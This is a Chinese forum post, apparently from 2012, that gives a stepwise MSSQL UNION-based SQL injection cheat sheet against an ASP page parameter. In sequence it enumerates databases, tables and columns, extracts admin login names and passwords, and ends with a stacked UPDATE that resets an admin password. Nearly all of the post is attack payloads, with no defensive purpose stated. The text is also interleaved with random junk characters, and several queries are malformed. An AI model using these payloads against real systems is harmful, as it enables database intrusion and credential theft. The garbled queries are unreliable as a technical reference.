标题: MSSQL用union查询爆数据 [打印本页] 作者: admin 时间: 2012-9-15 14:26 标题: MSSQL用union查询爆数据 爆库: @* K4 {1 P- U" e
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.-- 2 H! n4 b% j; C! SSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA. 5 t; L: J4 @' Q爆下一个库: 0 @0 t! q. O ^' P3 t$ Dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--# g+ r, V* T7 D$ `$ b
8 L) J. S7 E* i) J! ~8 N
爆表: e2 ?; i8 f ]; m4 \2 }3 Qhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- 0 S0 H/ J' R# X! R7 h. F6 [$ W* N$ A
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES. 8 P( B" O/ Z* Q8 {+ z( C/ o: _1 p- p0 ^: c2 |& X5 ?# e/ u
爆下一个表 ! V9 F( P* R" ?9 xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')-- 7 C( Q( w7 U) |% p$ \5 R! r- e: ]. X
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'-- 1 K, t, l; h0 g4 S6 B1 U: z* O+ g, @1 I# o8 w: k: E- i- G
# S& g) E! f; M0 H
5 |- X, c) k8 I9 D, n爆字段:! F+ p; t0 ` d
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-- 6 S- t8 y! `/ L& c; f , A6 [: s7 D% S- j* m" u1 ]爆下一个字段 , g' D# t1 i F3 R9 Dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-- * `: @+ }* Q1 U( s0 y8 j0 ~" U; T5 m' a% T1 p$ l: V
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--+ a- T5 r' B- ] G) _& I& E# K
3 u* q. q# h/ [7 W" C ^& X$ P( z. h' D# F n2 x
爆字段里的内容# k3 u$ ?9 Y6 q1 v0 Y7 V
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--: U, h f% Z4 R
: g' J) S+ F m, _4 phttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'-- : M3 E: |4 f9 H 8 k4 z; Z+ V% H& h" a- D: Lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--) Q" k4 F8 P7 } \& {; O1 |$ n
2 R* w8 |5 q! I. j' @7 s0 ~
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--' p v7 D" o, P7 s8 n+ d
! t' z* S3 ~2 G) R4 P
更新字段里的内容 1 k) e% Y3 d; G: P% khttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--6 T+ I- e9 j7 d( i+ V1 v